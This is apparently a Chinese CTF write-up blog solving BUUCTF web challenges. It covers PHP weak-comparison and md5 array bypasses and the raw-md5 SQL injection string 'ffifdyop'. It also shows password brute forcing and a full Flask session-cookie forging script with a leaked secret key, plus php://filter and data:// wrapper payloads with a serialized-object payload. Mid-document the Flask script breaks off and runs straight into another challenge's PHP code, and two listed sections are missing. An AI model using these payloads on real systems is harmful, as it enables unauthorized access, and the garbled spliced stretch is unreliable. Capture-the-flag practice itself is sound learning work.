文章目录
- [[极客大挑战 2019]BuyFlag](#[极客大挑战 2019]BuyFlag)
- [[BJDCTF2020]Easy MD5](#[BJDCTF2020]Easy MD5)
- [[HCTF 2018]admin](#[HCTF 2018]admin)
-
- [第一种方法 直接登录](#第一种方法 直接登录)
- [第二种方法 flack session伪造](#第二种方法 flack session伪造)
- 第三种方法Unicode欺骗
- [MRCTF2020]你传你🐎呢
- [[护网杯 2018]easy_tornado](#[护网杯 2018]easy_tornado)
- [[ZJCTF 2019]NiZhuanSiWei](#[ZJCTF 2019]NiZhuanSiWei)
[极客大挑战 2019]BuyFlag
一个高级的网页,先进行信息收集一下


可以看到买到flag需要满足三个条件
然后抓包一下

可以看到user=0
,所以可以猜测user=1
时,满足学生的身份

然后进行POST传参数
因为password不能为数字,但是又要满足和404弱比较相等
所以password=404a
直接传入money=100000000
错误,可以将money改成数组或者将这个数字用科学计数法表示1e9


[BJDCTF2020]Easy MD5

可以在文件头中找到线索(抓包也可以)
select * from 'admin' where password=md5($pass,true)
这也是个sql注入语句,执行了我们的查询,但是在通过where的时候,条件不匹配
需要password=md5($pass,true)
为真时,才会执行select * from admin
看一下md5的语法,因为后面是TRUE,所以将其转化成原始的16字符二进制形式

Stringmd5()函数会将我们输入的值,加密,然后转换成16字符的二进制格式,如果转换后的值为or + xxxx,只要我们or后面的值恒为真,那么这个式子就恒为真
因为这个sql语句就变成select * from 'admin' where password='' or xxxx
按照这个思路找到ffifdyop
ffifdyop
的变化如:

前几位是'or' 6
可以构成永真式
前面那个sql语句就变成了
select * from 'admin' where password='or'6�]��!r,��b'

跳到新的页面了
php
<!--
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
-->
简单用数组绕过就行?a[]1&b[]=2
php
<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){
echo $flag;
}
还是用数组绕过POST传参就行param1[]=1¶m2[]=2
得到flag,这个第一关有点点抽象嗷
[HCTF 2018]admin
BUUCTF-[HCTF 2018\]admin1_\[hctf 2018\]admin 1-CSDN博客](https://blog.csdn.net/qq_46918279/article/details/121294915)
### 第一种方法 直接登录
可以直接用弱口令
当注册`admin`用户的时候,发现已经被注册过了

所以我们可以直接去登陆界面试一试
用用常见的弱口令
什么`admin`或者是`amdin123`就行了
用密码进行爆破
[实用 \| 如何利用 Burp Suite 进行密码爆破!-腾讯云开发者社区-腾讯云 (tencent.com)](https://cloud.tencent.com/developer/article/2127375)



所以密码为`123`
### 第二种方法 flack session伪造
https://github.com/woadsl1234/hctf_flask
先注册一个新账号,然后登陆进去,在change password那一页查看源代码,发现`https://github.com/woadsl1234/hctf_flask/`还是要仔细一点才好,真的没看见QAQ

好像访问不到这个文件了,所以记录一下这个做题思路吧
`session`ession 可以看做是在不同的请求之间保存数据的方法,因为 HTTP 是无状态的协议,但是在业务应用上我们希望知道不同请求是否是同一个人发起的。比如购物网站在用户点击进入购物车的时候,服务器需要知道是哪个用户执行了这个操作。
`flask`是非常轻量级的web框架,其`session`存储在客户端中(可以通过HTTP请求头Cookie字段的session获取),且仅对`session`进行了签名,缺少数据防篡改实现,易产生安全漏洞
按着解题步骤先做一遍吧(我也不是很懂)
先获取`session`

解密脚本如下:
```python
#!/usr/bin/env python3
import sys
import zlib
from base64 import b64decode
from flask.sessions import session_json_serializer
from itsdangerous import base64_decode
def decryption(payload):
payload, sig = payload.rsplit(b'.', 1)
payload, timestamp = payload.rsplit(b'.', 1)
decompress = False
if payload.startswith(b'.'):
payload = payload[1:]
decompress = True
try:
payload = base64_decode(payload)
except Exception as e:
raise Exception('Could not base64 decode the payload because of '
'an exception')
if decompress:
try:
payload = zlib.decompress(payload)
except Exception as e:
raise Exception('Could not zlib decompress the payload before '
'decoding the payload')
return session_json_serializer.loads(payload)
if __name__ == '__main__':
print(decryption(sys.argv[1].encode()))
```

`{'_fresh': True, '_id': b'e8a4a01afc13593d5413ad88e4b91a6c9a4c0f847466911adc8310046b8d5c779d649ee606aa2c4fe47cb23dbb6b3794ef6a40f5598ec1925879fd72e817ea21', 'csrf_token': b'9a841f3e188cfa34052bb98af17ae6ce8e7263ce', 'image': b'Oyeb', 'name': 'admin1', 'user_id': '10'}`
将`name`的`admin1`改成`admin`,伪造一个新的`session`,需要密钥`ckj123`
加密脚本为:可以去[noraj/flask-session-cookie-manager: 🍪 Flask Session Cookie Decoder/Encoder (github.com)](https://github.com/noraj/flask-session-cookie-manager)下载下来
```python
#!/usr/bin/env python3
""" Flask Session Cookie Decoder/Encoder """
__author__ = 'Wilson Sumanang, Alexandre ZANNI'
# standard imports
import sys
import zlib
from itsdangerous import base64_decode
import ast
# Abstract Base Classes (PEP 3119)
if sys.version_info[0] < 3: # < 3.0
raise Exception('Must be using at least Python 3')
elif sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
from abc import ABCMeta, abstractmethod
else: # > 3.4
from abc import ABC, abstractmethod
# Lib for argument parsing
import argparse
# external Imports
from flask.sessions import SecureCookieSessionInterface
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
if sys.version_info[0] == 3 and sys.version_info[1] < 4: # >= 3.0 && < 3.4
class FSCM(metaclass=ABCMeta):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
else: # > 3.4
class FSCM(ABC):
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
def decode(session_cookie_value, secret_key=None):
""" Decode a Flask cookie """
try:
if(secret_key==None):
compressed = False
payload = session_cookie_value
if payload.startswith('.'):
compressed = True
payload = payload[1:]
data = payload.split(".")[0]
data = base64_decode(data)
if compressed:
data = zlib.decompress(data)
return data
else:
app = MockApp(secret_key)
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.loads(session_cookie_value)
except Exception as e:
return "[Decoding error] {}".format(e)
raise e
if __name__ == "__main__":
# Args are only relevant for __main__ usage
## Description for help
parser = argparse.ArgumentParser(
description='Flask Session Cookie Decoder/Encoder',
epilog="Author : Wilson Sumanang, Alexandre ZANNI")
## prepare sub commands
subparsers = parser.add_subparsers(help='sub-command help', dest='subcommand')
## create the parser for the encode command
parser_encode = subparsers.add_parser('encode', help='encode')
parser_encode.add_argument('-s', '--secret-key', metavar='".file_get_contents($text,'r')."
";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
```
考的伪协议
这篇写的很好欸[PHP伪协议总结 - 个人文章 - SegmentFault 思否](https://segmentfault.com/a/1190000018991087)
先代码审计一下
`file_get_contents`将整个文件写入字符串
可以使用`php://input`也可以使用`data`伪协议,这两个都可以用于执行php代码
data伪协议主要用于数据流的读取。如果传入的是php代码,则可以执行
data伪协议:`?text=data://text/plain,welcome to the zjctf`
成功绕过

`(preg_match("/flag/",$file))`是正则匹配式,匹配到`flag`就自动退出,提示了有个`useless.php`所以用php伪协议来读取
?text=data://text/plain,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php
绕过了第二层

base解密
```php
file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
```
在本地进行序列化操作
```php
file)){
echo file_get_contents($this->file);
echo "
";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$a=new Flag();
echo serialize($a);
?>
```
得到:`O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}`
最后的Payloud为`?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}`

查看页面源代码,得到flag